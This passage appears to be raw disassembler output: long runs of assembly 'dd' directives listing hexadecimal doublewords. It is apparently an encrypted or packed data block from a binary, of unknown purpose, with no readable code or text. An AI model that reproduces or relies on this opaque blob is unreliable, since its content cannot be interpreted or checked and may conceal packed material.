17C22F65h, 1A431D8Dh, 0F212522Eh, 53190610h dd 41CCED60h, 9B8D61AFh, 0DEF42CFEh, 0F2089E3h, 864542EDh dd 1A8E301Fh, 0F44F2E05h, 5C4D684Ah, 0CDBB6EA2h, 143F9A5Dh dd 7B40D4ACh, 93521D35h, 0EF6A5E51h, 0FA1AB607h, 9C2588CAh dd 0BDAD198Fh, 0B943F41Bh, 0C5CC4CD3h, 2FE1ED1Ch, 0A4A3ABE0h dd 0D8F87B56h, 2333CD0Ah, 9A4A3DB4h, 4586C200h, 4919C2F8h dd 4205FEC0h, 52E48ADEh, 8AAD50h, 3DFC7D4Fh, 737C0172h dd 0F8F0108h, 2212DB34h, 0AF456822h, 0D7039793h, 37B8F7B1h dd 612E2455h, 0EF92E6Dh, 7840B5A7h, 0E3E400A9h, 0A49C111Dh dd 0FD35A22Ah, 0E6BF45Fh, 648E5EA8h, 0E64EEA09h, 35227BBAh dd 60B88F92h, 0E327AA35h, 11F6EE6Bh, 0FCFBA6A1h, 26722CAEh dd 47E4FAE4h, 9D841464h, 27D84BBDh, 0D8969DC1h, 0BFB88333h dd 6163D50Eh, 630801B6h, 0BE6B4572h, 0A81238B3h, 0E4CBE7B7h dd 98E4FC48h, 973B29CCh, 0C34122A8h, 7A3908F8h, 0ABBB3821h dd 7E3FBFB1h, 4CFC3E3Dh, 48805702h, 0B31DDD14h, 453B20E0h dd 0FBABCAB4h, 6A191D04h, 0DF920E5Eh, 0F1AB39B3h, 0A3CBD3FEh dd 1D3BCF31h, 1F40EEFFh, 6D33342Fh, 273C293Dh, 0F4E92663h dd 7EB75697h, 0EE2ECEB7h, 0A66D1464h, 0F016E2A7h, 9DA9AFC5h dd 5C38A8B2h, 0EB8A786Dh, 6C4C6821h, 0F3A32C1h, 9B6D2A98h dd 0FD836258h, 0ACECD7B5h, 518428A0h, 92348C3h, 0E35522FAh dd 8B1BA2ACh, 0E9258AA6h, 0DCC06FC7h, 2D63A1A1h, 0BF8CE0D9h dd 3E719279h, 0A35D27BEh, 12B74FDFh, 257EC425h, 2545037Ch dd 0F20A2563h, 52B31F11h, 0F6F3562Dh, 8106F1F6h, 0AADE49E4h dd 0F6FD3C5Eh, 0EE362F34h, 0B3E6BF9Ah, 3B447CD3h, 97FF2E15h dd 4B172544h, 0B312D85h, 8A06DCEDh, 0F37F18A3h, 12BD2B57h dd 0ACE3CE5Fh, 0B7B88540h, 5B359086h, 452BAAA3h, 8141A1B4h dd 75F4BD91h, 0ED731FDFh, 25215163h, 0EBA53A35h, 2CA1E185h dd 9BF9A99Fh, 7D4079F9h, 5C5BAA63h, 4362C26Eh, 9AE28Dh dd 76DA931Dh, 0E42370B4h, 0DB0F69B4h, 26CB28CFh, 14ADDDFFh dd 0E036C7CAh, 72A58D65h, 8E65073Bh, 793DA0DAh, 0E903F3Bh dd 41B26B2Dh, 2074025Dh, 0FE7323A3h, 5A3FED38h, 2AFF391Fh dd 0FFCE15E1h, 1F8EE591h dd 0B05561B7h, 1721AB5h, 0D9F3CB83h, 75E2E575h, 0DC617273h dd 24402397h, 1F651C79h, 0BF3DA664h, 850056B9h, 0F4D6AAAFh dd 0C5273E61h, 64ECC041h, 7462720Dh, 5CCF405Fh, 9681A143h dd 0C405BD0h, 8FE4635Ah, 5FBBC740h, 1E80020Fh, 2C3242FAh dd 0AE604E21h, 2E6949CFh, 6978363Eh, 0AE5D324Fh, 1E357A50h dd 7161284h, 0B099B295h, 0C85C7429h, 6DACB8D5h, 0DDD91700h dd 0C179183Ah, 0B64417CDh, 61DE6E44h, 0B0210643h, 0F2D2B03h dd 0FAF5C3F6h, 69035622h, 9D3884BDh, 0D83EE1ECh, 0A3CFF977h dd 68E352E9h, 6D22059Ah, 4DCEE674h, 0CAFA1201h, 0F3F66513h dd 18794455h, 61361FF3h, 9FF76066h, 8451DC7Ch, 4E55C1B6h dd 0D17F7CA3h, 0EABD0A83h, 4572EDAFh, 0DD79CFD2h, 2011B5Ah dd 3B73120Ch, 6DEDAEB8h, 0B5FF36A3h, 786FD273h, 1119E844h dd 0F2820C6Bh, 75CC8F82h, 82BFC2B5h, 48030336h, 6F7531E1h dd 0EC90E833h, 7B1C77D4h, 679A71B3h, 0D4CC2747h, 1C355EA3h dd 9EF1202Dh, 8BEE3D74h, 94768394h, 43D315BDh, 0BE439989h dd 5C785930h, 0D4022E56h, 83C02EA2h, 0C536D0A1h, 0E37C4685h dd 0AABE0355h, 0A2B637E3h, 0ABB52FFAh, 0BABBB526h, 0A3F92ACCh dd 0EB203115h, 0F734BC3Bh, 0C443EF21h, 9C0C43D8h, 0CF7D33D6h dd 787C3CFFh, 27E07544h, 2516BD7Ch, 3A279D5Fh, 1F9F2992h dd 261EB131h, 3BFDEC7Fh, 5AF4B54Bh, 0F6355652h, 5F712843h dd 0D6BB6DF9h, 0C61E92B3h, 2834E071h, 29B4A881h, 0B25D30CCh dd 0F56B07Dh, 622D513Ch, 23CE5D34h, 2BFD3EADh, 270BDDA9h dd 3175FAA1h, 0AF4AA97Ch, 8BFA51BBh, 0B63B6EB5h, 8FEB1134h dd 2B4DD1DEh, 0A6BD87C1h, 0AC235B42h, 0A8978DC3h, 46B92ADBh dd 4BCEB44Dh, 830BA5F5h, 0BE23A15Eh, 214634E3h, 0BC532581h dd 913B7535h, 5ADF0E8Ch, 2AD851EBh, 452A5874h, 0E5AD0021h dd 3476B13Dh, 2C7D38DDh, 0F6DE56BCh, 0FA09ACA2h, 0CE78F79Bh dd 0D032FE76h, 0BAB4B9AFh, 882B8DDEh, 182157BFh, 818B55Ch dd 658F0931h, 882C95DEh, 2C95F375h, 6C44ECB3h, 5EA1C5F0h dd 0A3F93653h, 62E90D71h, 0BCD6B001h, 6CBDEC11h, 3317051Dh dd 622C3EB4h, 23D13D34h, 2BFD3FB5h, 0A2BBD2B9h, 9EB3E94Eh dd 0E4AAB211h, 0A7A26F45h, 0D23B8901h, 269F4307h, 0D0B899C5h dd 0AAB8A9C7h, 0AEBDADE9h, 19DB995Ah, 14ECADCCh, 84CC8883h dd 0EB92FA50h, 9DF3B5CAh, 73070C88h, 0A8A780F1h, 0BFDCAFE7h dd 5B38A695h, 0CD92CB68h, 82EE2810h, 0A644F16Fh, 0E17A703h dd 0B49C1B2Bh, 3521B87Ch, 9CB4F208h, 8239CB64h, 33C5E85Fh dd 1C18D6A2h, 64A9E34Bh, 0A9E04F36h, 0AE3F4541h, 43239F5Fh dd 4B0C0651h, 58580156h, 0E0F58F9Dh, 474AC472h, 1C57459Fh dd 39624606h, 1BB53710h, 1B4A6EA3h, 0BA815F43h, 0B4735410h dd 82325166h, 86D08BBEh, 0ADB48399h, 2EE0DDB5h, 6A2A8216h dd 0DD0827FDh, 0DE607BB0h, 0BD02993Dh, 85805DF2h, 0F065A2AAh dd 3D313A46h, 0B82332E5h, 0BA0809FDh, 1676ED4Ch, 0EA31033Ah dd 3D1A0202h, 0F29874F1h, 8E3D6D29h, 98C778CAh, 0BC34447Ah dd 8A76A1C1h, 9946D795h, 4E654F18h, 98365D28h, 705F0F2Fh dd 0C6FC597Dh, 6021ADFDh, 69587275h, 82392368h, 0BB26EE85h dd 5DECF6A9h, 68E536B9h, 69006599h, 0DBBD35DDh, 897AC7Eh dd 16FFF915h, 8B6E616Ch, 0CE275D01h, 2F41EE82h, 3C3AF3C2h dd 7D06A742h, 0B03A69A9h, 927341A6h, 728529E3h, 9EBC3B0Ch dd 0A12B0541h, 7EEC30EDh, 26138074h, 287D593Fh, 0A03D1F6h dd 0EDA8861Bh, 3C1A71F3h, 2B76EAC7h, 8B47C365h, 5C727678h dd 0D2AB14B1h, 0EEC582E2h, 7728D2DBh, 9E2A3974h, 28F225C4h dd 0F4F26152h, 7C5A9A3h, 6E3E2BEFh, 5822EFE7h, 0C6DC3D18h dd 985FBB8Ah, 0BE6F82D2h, 0C774CCFFh, 8EB88FD0h, 8AB8A150h dd 5B72E6B0h, 350E78E9h, 3056805Dh, 9F440F64h, 4AA0401Fh dd 828DF04Dh, 1385FADBh, 0C0B1D66h, 0B5FC60ADh, 0F79F251Ah dd 0D3D2E364h, 0EB3A88ADh, 1E123051h, 0A637F224h, 0C9981D2Ch dd 0F56A5340h, 0FC54D581h, 5BA7391Bh, 1C613519h, 0A35D2349h dd 9356BED6h, 0A44E754Ch, 2346A8ADh, 35825106h, 7AA0F3Ch dd 0BAA4EBADh, 7C394E8Dh, 66437561h, 0AD64BC3Fh, 0EEB42DDEh dd 0BBF2FB47h, 0AD84FD10h, 854DFD11h, 9976BD01h, 0B24BEBC0h dd 726E6543h, 85E17944h, 2BE6A4BCh, 0C676ECF8h, 7AEE103Bh dd 1E066526h, 3B544122h, 49A6364Eh, 71E88A3h, 72FCCB48h dd 0EA38F49Ah, 0AE185542h, 7032E3BFh, 9D2DC8A5h, 0B5F0A783h dd 120D022Fh, 0A5CE3E41h, 0E8FA45C3h, 0A1005440h, 0B6CF127Fh dd 9022CA68h, 96A4391Ah, 401B4860h, 0D4868E0Bh, 5ECD92E7h dd 0E0AB3306h, 6322663Ch, 7AC01829h, 823FD9A7h, 3F9AFBFEh dd 68423178h, 538F2D38h, 0B41AA279h, 553FC705h, 18CE297Dh dd 623906C4h, 3EABF4AFh, 6226CA51h, 9A1E6B8Bh, 602EF4E0h dd 0A613CB3Ch, 55422113h, 9ECC357Eh, 10DE519Bh, 23E9A635h dd 0BBF511Ch, 5653020Fh, 37CB176h, 5BE470ADh, 5A371C3Dh dd 5CABC4C9h, 7E95E641h, 6EAFB1D5h, 0D08A27BFh, 3F35EC87h dd 6A0CCAB7h, 0D2F82313h, 19818778h, 6ABC0EE6h, 0A0DA271Bh dd 7EEAA3F3h, 0A817D5ABh, 41FE33Ch, 722B2950h, 0C32BA905h dd 8A14DD3Ch, 436A4218h, 10112238h, 2390353Ah, 63609D65h dd 63C911F6h, 0AC2121A1h, 2A7F201Dh, 5B46B857h, 6F45D639h dd 0DD344BB3h, 0AD3FB601h, 27FFED92h, 0E02C3D5Bh, 1B3E3444h dd 32E2D2Ch, 94F20913h, 53CCF312h, 215AD1C6h, 0F3B9A2C9h dd 64C575EAh, 33A2BAAh, 0D6F957B4h, 9D3E9BBFh, 75EA351Ah dd 8AD4E0E3h, 33F5AD66h, 359F4775h, 9CDFB9h, 27DE3F19h dd 0A09AF6BCh, 0BF6108E1h, 6356F1AEh, 7B637D62h, 60ED35F2h dd 0DF66E6F1h, 36397515h, 13B866BCh, 6223DD75h, 6221DDF1h dd 5A2BF3F1h, 4635B866h, 0B63302BCh, 0A6FD3D41h, 962F2D34h dd 96F2ABF2h, 5D6EE37Dh, 0A3E51394h, 6DC50D19h, 0FA96F18Bh dd 2B757C63h, 5E5A9514h, 0EFFEA7F1h, 0B22B75ADh, 449E6B2h dd 5E629975h, 616289F0h, 763688F0h, 36357531h, 0C6BB82BCh dd 0D61E92B3h, 0F1B36D7Dh, 0CFF50A76h, 0A876011Eh, 0A23A31AAh dd 3829038Fh, 0EBFBFE75h, 0A47B0CA5h, 6BE44C4Eh, 0F5ECE7E6h dd 0FA458B3Ch, 0B0630CCAh, 0E0962A47h, 40535BF0h, 4E03535Ah dd 0DE4756Ah, 82F31B49h, 0DB5FE6AEh, 4813E9E1h, 0F3054090h dd 332DBB9h, 0EE19B756h, 9FA0094Ch, 9D4B61A4h, 23BD3538h dd 0B0D9EF7Ch, 1E602C0Bh, 63904A0h, 2B86EE4h, 747AE840h dd 0DDFD2B3Ch, 82873126h, 0E56E932Ch, 1A04F8CDh, 0B2DB3410h dd 0A3DF559Dh, 27138059h, 0A3FD0122h, 0F00083C2h, 0E2C0F7DCh dd 5ACDA21Fh, 0FD02290Bh, 780A31CCh, 0F3F416ADh, 4CA5A40Fh dd 4013A839h, 97584263h, 0D4523269h, 5D76A9FEh, 0DFE55160h dd 0B16E149Eh, 0B158DDCCh, 8F132C6Ah, 0B52046F8h, 0BC12E39Dh dd 222D5057h, 0FCFD0061h, 0AEBD0B35h, 42234134h, 0BAA22FBFh dd 60580FB6h, 969F7D0Ch, 1829D031h, 32304A7Bh, 3C74A5BBh dd 0F6392A4Ch, 32EB2DA3h, 6E406330h, 42730D90h, 0F3E1EA9h dd 5D366685h, 6AE422C0h, 0D7E4EFC2h, 0F6959A8Ch, 0A34C7066h dd 0D6C2AD93h, 6FF8019Dh, 0F257C773h, 9D54A30Bh, 0BACCF463h dd 0CA43990Fh, 9FB639A7h, 12C18429h, 0CB71F092h, 480910A6h dd 121468BAh, 0B81D4F2Fh dd 1B81197Eh, 56021593h, 1B7B6D4Bh, 0AB224059h, 217B2D47h dd 0F6CB3685h, 24730610h, 236C05E5h, 4E348FDAh, 244952EDh dd 4105238Eh, 0F24307B4h, 144045BCh, 34EE2C2Ah, 0B80AF3Eh dd 523361B0h, 0BC68DDE2h, 9A6A4DFEh, 71D133C6h, 0C1ED60CBh dd 9AFA2E7h, 0DDEB1EACh, 60642B66h, 683D5EA4h, 4DE61ED5h dd 232B5641h, 7165E575h, 0EC98495Bh, 5E81EDADh, 0B644120Ch dd 0C93BC24Bh, 0C2401129h, 0BE3DDD25h, 85FE07A9h, 0AAD853B1h dd 0C14429AAh, 7AA769AFh, 0CF2AEFA8h, 0F615BA74h, 0F3E6E883h dd 5EE73BDh, 63FE1928h, 75594F3Ah, 0B020AAB8h, 79DF833Bh dd 74822707h, 6605370Bh, 0A87ACABAh, 0BB8528AFh, 0DD635FA1h dd 0EAF146B5h, 0B8036BB9h, 0C6AECDACh, 0FBB428A2h, 51E973BFh dd 4A785630h, 0E5FACC2Fh, 332566Bh, 5F78DD86h, 0A1201AF8h dd 0A6F4ADE6h, 2B984024h, 481BDD04h, 7E206939h, 0D549656Ah dd 4626951h, 945D076Fh, 0C279E596h, 0F91804FEh, 649BD180h dd 0FCB987Fh, 0A5FA4533h, 4545D0B8h, 0D1CA22F9h, 25376E35h dd 0F0A1627Ah, 94195BBAh, 70560575h, 0DC41ED62h, 0BBA1D70h dd 33427F54h, 0AC09795Ah, 8704D3FEh, 0B75ACAB3h, 307DB10Fh dd 0BCE41DF3h, 0B7B0D2ECh, 3FFE32A0h, 0CC9CEA3Bh, 0C2B0A6D1h dd 0DDAFB70Bh, 77F2537Ah, 0ADA4576Fh, 0E277254Dh, 99CF8A5Ah dd 0AC964ED0h, 0EDADB2EFh, 0A08C91B6h, 0A5DFCA55h, 90278E61h dd 0D4431B32h, 5FC3F54Fh, 0E22EB1B8h, 0F659A926h, 0E6C42CC6h dd 0B2082068h, 0A52AC17Fh, 195A1FEDh, 0AA2A110Ch, 4E537E33h dd 0AB34353Bh, 25034AF2h, 36D45BFDh, 532E81E3h, 0F50848F4h dd 0F2424B6Ah, 8ECF69BAh, 251E52AEh, 0E919795h, 0AE0FE6FDh dd 0EB414CA4h, 29083713h, 0A93ADE74h, 10EA3EBEh, 34F4C9A4h dd 0DE9E6FF5h, 45C0D137h, 6B1AD64Bh, 4E578816h, 0B22F60B9h dd 0BCD5F19Ah, 0A236E2B5h, 0B47AB036h, 0AA39B1B1h, 2536D579h dd 10B0C4E1h, 4D86D2B4h, 18310D4Ah, 0D83FA8B4h, 1E74628Bh dd 0DC62BDEh, 62A62278h, 6ABEEF82h, 0F09EEEF5h, 7DEEF58Bh dd 0EBBA253h, 715F955Ch, 0B2220549h, 41F105E1h, 0AEB2A9DEh dd 0FF0831D3h, 4AF13B7Ch, 0FF597060h, 5E8A8F8Ch, 41B3508Ah dd 0B37D0535h, 0AA293D0Ch, 0E6F5F537h, 0ACB19263h, 3C4CD0E8h dd 9C03DC21h, 1CCF7AD4h, 0FD46C4E0h, 9CDA7BA7h, 0E2D19F5h dd 0CF46AB26h, 0A5C6C1B9h, 8E3F5F2Bh, 2225149Ch, 0F28E405h dd 25948B2h, 9B29FFE9h, 999A2372h, 1D6A1AE7h, 0EE93A06Ah dd 0D29B2D71h, 55252015h, 710ADDAAh, 0C6481A9h, 2D4B64A6h dd 751B13E6h, 0B5CEFC0Eh, 50F8B17h, 6B9D4EBCh, 96F08DB3h dd 667DD0E7h, 671B7F5Ah, 0F400494Bh, 0A22584CCh, 1679871Fh dd 4372DEEh, 0B68690A1h, 5F0D07ECh, 0C6B3375Dh, 43789E23h dd 2B39290Ch, 0F43ACC3Eh, 0B76DFA45h, 34DAFB1Ah, 3F50EB92h dd 0F1F42A8Eh, 4CCE8BA3h, 58F250DCh, 5434AB25h, 60F0DDB6h dd 85FAEE5Fh, 0B2723F6Eh, 604F706Dh, 9043F785h, 0AFAC4E0Eh dd 8B73BD6Ah, 8857498Eh, 14CFDC82h, 0F6517BCh, 8D19E00Fh dd 0A1D70DEh, 725C5ABCh, 0AAF7849Eh, 67295C4Fh, 840D6657h dd 1B4304D9h, 0A39199EDh, 5DE5614Ah, 97D8C06Ch, 0E22CAAE1h dd 0E42A1EB6h, 0B37A4E10h, 0FB675788h, 0AD3237CEh, 0F3A84C62h dd 553CE283h, 6377C8B2h, 0FAB26AD8h, 8CF81973h, 76260E28h dd 0A903E18Dh, 386B8B39h, 2A5EF8B3h, 0DA34ADC4h, 0AAAB4845h dd 0C5F0AD06h, 9AA769ADh, 17E4466Ah, 4FFD1840h, 0A5C4AD4Dh dd 78CFCBEDh, 0A54C6948h, 7235813Fh, 0AF7CF742h, 0DD3707E0h dd 0AFB8CC9Ah, 0DB3111B2h, 0D7C30BADh, 656B61FDh, 3AC2E8A4h dd 0A4E1CCD2h, 0DBD233Bh, 0A3E6378Dh, 0B8C94A0Dh, 0BA3134EEh dd 701F6F4Dh, 0D41A5D1Bh, 0D8F22233h, 2DEDB4C1h, 6D6CA9F4h dd 8AC59774h, 296F2FC2h, 0A737F379h, 743A7BA8h, 0A527AD89h dd 0E4D97641h, 0BE86FBEEh, 0B817E038h, 0AA26A7BBh, 1AE9A665h dd 0DB195F56h, 634A71B1h, 2344B29Dh, 598A5FFEh, 726F1BA1h dd 4ABBA2B6h, 92324405h, 0F42C69A7h, 0B2D81830h, 20220810h dd 32ECABFBh, 17D23BFh, 0B513DDE3h, 0C2C5133Ch, 528FEB43h dd 0A478E365h, 126642B1h, 7936C403h, 6CF6EA99h, 4294E927h dd 2EFF8ABCh, 8E187F9Ch, 7F8FA955h, 6B000925h, 0E1DC572Bh dd 62AD0B40h, 271DD69Ah, 5D377E76h, 645B0BE5h, 0BA100583h dd 0B5B1732Ah, 8F029E6Ch, 0D868F17Ch, 72649525h, 0D9A8625Ah dd 9B86F101h, 492FDC6Dh, 0E397969Ah, 0BAE0F8BAh, 13A27FC6h dd 7D61FF4Bh, 229FA7A1h, 1ECC7A56h, 0C6FAA211h, 6CA5A115h dd 0FEE60CDh, 1F3650h, 0B5C0830Ch, 0A9EE7570h, 0CF3955FAh dd 1FF41E29h, 0B954900h, 8F6EABAFh, 0CD987AB0h, 4D03A563h dd 0B30166A6h, 0DB277EB8h, 7E402995h, 0BB713FFBh, 4A0319Dh dd 41F730F5h, 8E17A511h, 0A99AC93Ah, 0CAB6051Bh, 7EBB500Ah dd 0BD57AF1Dh, 6A1ADA3h, 9FE7BC1h, 52FA010Dh, 705775B5h dd 1C155B22h, 0F867A9A0h, 84A3E613h, 1E59E4C1h, 19EE619Dh dd 90A9188Ch, 0E437121h, 0EE9D56BFh, 0A57241CEh, 8DBFBE0Dh dd 376433C9h, 4B13A45Dh, 3AFFD5A7h, 19CC33CBh, 6A1F8309h dd 673BE990h, 6BF2BEA4h, 0F0279Dh, 3A7AE0CEh, 3A8B903h dd 5B6BE066h, 66E921B3h, 47E9A1BDh, 2E920FB4h, 2D6ECEB2h dd 0EFCF2CAAh, 0BF153162h, 5E2EC5C3h, 2C9F839h, 10DB6F34h dd 5709F1D1h, 734B0155h, 0E1BCA3B6h, 0BF7DAA6Eh, 0A06F62AEh dd 27254F85h, 0BABE3ABCh, 612E16ACh, 9C1BABA2h, 1F4111FFh dd 3E83C8E8h, 3204C744h, 0C8A71AB4h, 8D153F74h, 4938C89Dh dd 8253F615h, 732A32DFh, 0B6026C6Ah, 0C64FF9CEh, 24988621h dd 256F4B5h, 0A0EF49C3h, 5F06545Ch, 7390AF08h, 0FA8ECD25h dd 0F562020h, 0F55AFDBCh, 85E3AA5Dh, 0AF45E6B0h, 761FF722h dd 0DEE00F4Ch, 0B0995FBCh, 53B7FA08h, 0B87A1969h, 992B5F85h dd 0B78BDF09h, 36897C61h, 0A6BCA01Fh, 3BCC5AAEh, 617D2FDEh dd 9E3C6DBDh, 3A180C07h, 0E7B52885h, 13B9B015h, 0CD21F740h dd 4C90F6C4h, 614F0105h, 0E2AAE6B8h, 21AE0CC9h, 0F34C3B38h dd 17D8637Fh, 6DF2B681h, 0F6513569h, 0C49683D1h, 1A414023h dd 525AA1ACh, 3B3A881Fh, 40A51092h, 45070E25h, 18388E15h dd 56F2FE5Fh, 4F59C04Fh, 0F016032h, 0BBABE9B7h, 971E4598h dd 0A1B1BBD1h, 0E5000E8Eh, 6BE1DBA6h, 333E4D1Fh, 2E0489E7h dd 9D5D3D5Eh, 7279B836h, 83699E01h, 0FB4AB9A6h, 0E7C4A0ACh dd 0BE0400C4h, 0CAE62DC8h, 3F0D1BB3h, 1B3BD17Dh, 6B771181h dd 0AA7F8000h, 5B173955h, 0B7CBF5A6h, 5B2DE20Dh, 0AD1A114Fh dd 0F440EDF8h, 59FC1FE9h, 0AF381A10h, 0AFF61A7Fh, 7E0B9229h dd 8F98DD83h, 7A0AC495h, 40FBA23Eh, 0A5127DA9h, 5AE8F46Dh dd 0CE06E958h, 9D362279h, 0B57AABE4h, 5B5B373Dh, 601E3A10h dd 0D20736A4h, 0E630F459h, 7664F9B5h, 0C67056ADh, 0F732AD4Bh dd 0B40279E7h, 0B5BCAB2Dh, 60130B4h, 0E0D0C0A0h, 0C4DFEA4h dd 886EADACh, 0AAB52EA6h, 463A1BBDh, 0B6E7E33Eh, 9E72ECE5h dd 9FB7B4AEh, 0B1A61944h, 9BDE56BFh, 16E21ABCh, 37C227BDh dd 22250AA1h, 5238E0ADh, 5D57DC4Ch, 0BC2CCB62h, 821E3D27h dd 0AEFFEC47h, 85BF38BDh, 7EE7317Ch, 6DA1D39Ah, 3A03C132h dd 0A68A92B2h, 0B502FF66h, 3A018D75h, 3769F96Ah, 0B8729462h dd 46D8E74Dh, 26635B49h dd 4B493B12h, 0E2F496EDh, 1A3475A2h, 9ECF516Ch, 852A0B3Dh dd 5531469h, 0E61A05F3h, 7095A988h, 0A427B812h, 9D2A7DA2h dd 3F6EF7A4h, 32E14927h, 0E3C7A1D0h, 82CAF9BFh, 9641F613h dd 68D0BDC6h, 0CC042B90h, 0C286EAE1h, 3D933579h, 0EA3812Eh dd 0F5B1496Fh, 348AA00h, 0F4F46A71h, 0BECE82B1h, 7E5804FDh dd 0B2CF63BBh, 5839C79Ch, 3735803Dh, 0C68E729Eh, 3CEAED32h dd 5664C41Dh, 0FD55DA5Eh, 64BEC5C2h, 660F90A4h, 0DFEEE761h dd 32ED3735h, 0F0F2821Fh, 7B5A35B4h, 62ED16B8h, 0AAE34F4h dd 0B9A3B1FBh, 1A36B5BEh, 0A203C520h, 0D821A3Dh, 9E35F218h dd 1BBDF15Ah, 0CF835ABh, 0DA3F68CDh, 4E5A4BB1h, 406842D6h dd 98E5E0B5h, 5B95F684h, 9825212Fh, 46466F22h, 0DB25D829h dd 0E9813696h, 2B59681Ch, 9BB6B4E0h, 7AA8ED70h, 253051E8h dd 0C95AE9B7h, 0CB51331Ah, 93114F4Ah, 6DD211B1h, 0DB9824F6h dd 3A46FCA0h, 0AD535EB9h, 56C263AFh, 18CE3508h, 9E275BE4h dd 5941A27Bh, 3ADB222Fh, 92F9AA0Bh, 4A3A4F6Ah, 0BA22F510h dd 0D5F10712h, 2542A1C3h, 285972FBh, 11412379h, 762221AEh dd 0A444EDEDh, 1C980910h, 0FBAFAE89h, 6F62EB38h, 3625D144h dd 0BC6B6DEDh, 733D2F60h, 96392D01h, 9E46EBE6h, 0A1F03CBDh dd 0C93EFAEFh, 74BB5D42h, 0A6EE14B0h, 0AE79A630h, 4B18B573h dd 2DC294F4h, 5F6A6508h, 0CFA05DCEh, 45055561h, 0DB1F4010h dd 50B12DAAh, 6540523Ch, 11671A07h, 2A9CF3E2h, 247215F8h dd 0F00819A4h, 0B4CF0CEBh, 0E8E1DD8Bh, 0B6D23D20h, 5A3241E7h dd 0B6325A22h, 0EE7961E7h, 456C5E97h, 9F88DD44h, 0F412279h dd 4BAB015Fh, 272E069Ah, 5E25417Ah, 0D2969D48h, 2288E0F4h dd 0A9AD9D14h, 231FE8CBh, 32390E77h, 0BEAE6066h, 77B97610h dd 8ED53A75h, 84F85AAEh, 6AFAA98h, 9F73FABCh, 0B5AE65BDh dd 6CD7CC07h, 151D106h, 0B8083522h, 24E2DDB3h, 9DF20170h dd 9835F43Dh, 402B97E4h, 579D0C12h, 2534A381h, 0A457C305h dd 0AED4EE4Ch, 11C59761h, 0BF1BFD4Dh, 0E2DDB1B5h, 0E2EF095Fh dd 84DD9B44h, 0D313ADC0h, 2D1436BCh, 5EB22F77h, 0AC317A55h dd 0A6882695h, 3B175ECAh, 8A1CA7CCh, 25014561h, 0B7CCEAB8h dd 1C791DBCh, 0A9D36163h, 0E9649EA2h, 0C531A1DFh, 0AEF1BCFDh dd 0BB6C2674h, 76001234h, 0A2F529BBh, 0C10881B6h, 3E361407h dd 722B7B3Dh, 63470020h, 29380E62h, 0D4CBA11Eh, 1D3A20DDh dd 6F472D05h, 5A6D8AB3h, 6DDBBFA6h, 0DFA5050Fh, 46318A8Fh dd 8C1836B1h, 251C5F7Fh, 9EE252B0h, 0DA626025h, 431DAC63h dd 66C3D85Ah, 0EEF34AB4h, 7B5A3D7Dh, 84E46BF4h, 6494FE41h dd 0A41535B8h, 47202C6Ah, 73E1FA9h, 49B632BDh, 5FD9F252h dd 0A96A29F0h, 988E0745h, 7E2CFBD7h, 0E87710CDh, 1C06AD0Eh dd 0D96D02EDh, 0FB16A24Eh, 0DBC00295h, 0F1FA2DACh, 0A8C60164h dd 334577A9h, 0CB78BFBAh, 864ECF65h, 2B3B55C3h, 90BF1927h dd 0D12549F2h, 5CA3D720h, 0F909791Dh, 0D3AB905h, 1620380Ch dd 736902AFh, 0E93927E2h, 0DDC1B910h, 5C72BDB1h, 81D312FFh dd 13CE37B4h, 0F3587B3Ah, 0CC2E305Eh, 815803A0h, 73E31D2Ch dd 9133D27Ah, 5AF82F03h, 85EE0803h, 400AAD98h, 0B69B345Dh dd 5D571141h, 0DE0A4EB7h, 7BBF53E9h, 0AED11A8Ah, 34682472h dd 0AA8AF846h, 5E6E20A8h, 990A8864h, 0AA5D0257h, 0B7BA0BB1h dd 38187ADFh, 0E348F157h, 76845A70h, 41B2B533h, 0FC6DED1h dd 51BA0961h, 0A31E9AAh, 0BAEE0DFDh, 0FAF38687h, 0A5F1E946h dd 8D2D224Ah, 1EB3884Eh, 34175557h, 0DA3FA96Ah, 53432747h dd 83CE7FBAh, 32A8E982h, 1844124Eh, 66FBC104h, 107490E3h dd 4DDBEB8h, 7A796145h, 9FC66820h, 626371A2h, 0B2B95E9Ah dd 234BFD62h, 0B9930BBBh, 21E4501Ch, 697127FFh, 18058022h dd 0E2124E00h, 0BCABB9AEh, 64ED21B8h, 7BC2D243h, 2045E922h dd 0DF420A59h, 5935A8F6h, 0C20AB0BAh, 86435D72h, 5EBAC542h dd 983A2C86h, 0D40ADDB6h, 86F7F765h, 0D3582A44h, 0AFF5F9FBh dd 3016F181h, 686C867Dh, 0C2F1383Fh, 47BCB816h, 0CCDCAFC3h dd 143C738Ch, 7CDA5C97h, 0CE55D83Ch, 0D3D3B98h, 0C0D385B3h dd 16398BC4h, 0C0850994h, 6C07EF6Eh, 0BCFCF08Ch, 38E653B9h dd 5A829101h, 0A5BA24BFh, 0DC1BF928h, 0FBCDBE79h, 0E01FCC96h dd 0E89211E6h, 0A31956F2h, 2AA32A6Ah, 0C9A2A5A9h, 439E169Ah dd 68B63423h, 6F239585h, 242DBD2Ah, 7946538h, 20BCC357h dd 68191FBCh, 23EDB0ADh, 9B8368BBh, 191108A9h, 8ACDDC9Fh dd 9BFC7000h, 961333A1h, 0A80C81CEh, 13B61261h, 0B56AE745h dd 87AA046Ah, 33331E69h, 5CA33BEAh, 4AD2F3BEh, 273AA840h dd 0A33EE359h, 0A741911Ch, 7EC7AB7Dh, 0F823E40h, 23E62C55h dd 96D2BD75h, 73E90348h, 0D49FBC0Eh, 2330BA20h, 0E31ABA38h dd 0A672E735h, 5C7ECEBCh, 4B924058h, 0FE12287Fh, 4E96A051h dd 0AAFCA9B3h, 0D9411185h, 0A48C59A7h, 0B49A712Fh, 58CE35C4h dd 0E7EC2E7Ch, 0D2729666h, 5B20F709h, 9EC469FFh, 7D982C99h dd 0BCC1AD50h, 6C73D3A7h, 7125400Ch, 0E335D0F2h, 0F5100C64h dd 6AB362E1h, 0DD30E285h, 90DA1904h, 74E6A301h, 1D150FACh dd 5B4C021Ah, 363CF6BDh, 2CF855E5h, 2149F146h, 0F85DC5E4h dd 236D9B7h, 1A0136BDh, 0D0CDFFBCh, 27B1EDD5h, 0AE2BE15h dd 124B1BB9h, 0E5FD5D69h, 8D34E995h, 0AA56A923h, 114D5C1Ah dd 0E10836A9h, 0C6550365h, 2124F762h, 9EFAA1A7h, 82DAA1FEh dd 9F313C42h, 1517F50Eh, 0E1F6E1C6h, 9D4A733Ah, 923E3521h dd 79FC990Fh, 0C7024E76h, 0F736EB38h, 2AC286B3h, 5EDD8701h dd 0AAEB653Fh, 0DFCAB81h, 0A77AF562h, 6182AD4Eh, 0DAF4A92Ah dd 123A2210h, 0CA8B2D40h, 0AE4D4BCBh, 0A5F500F3h, 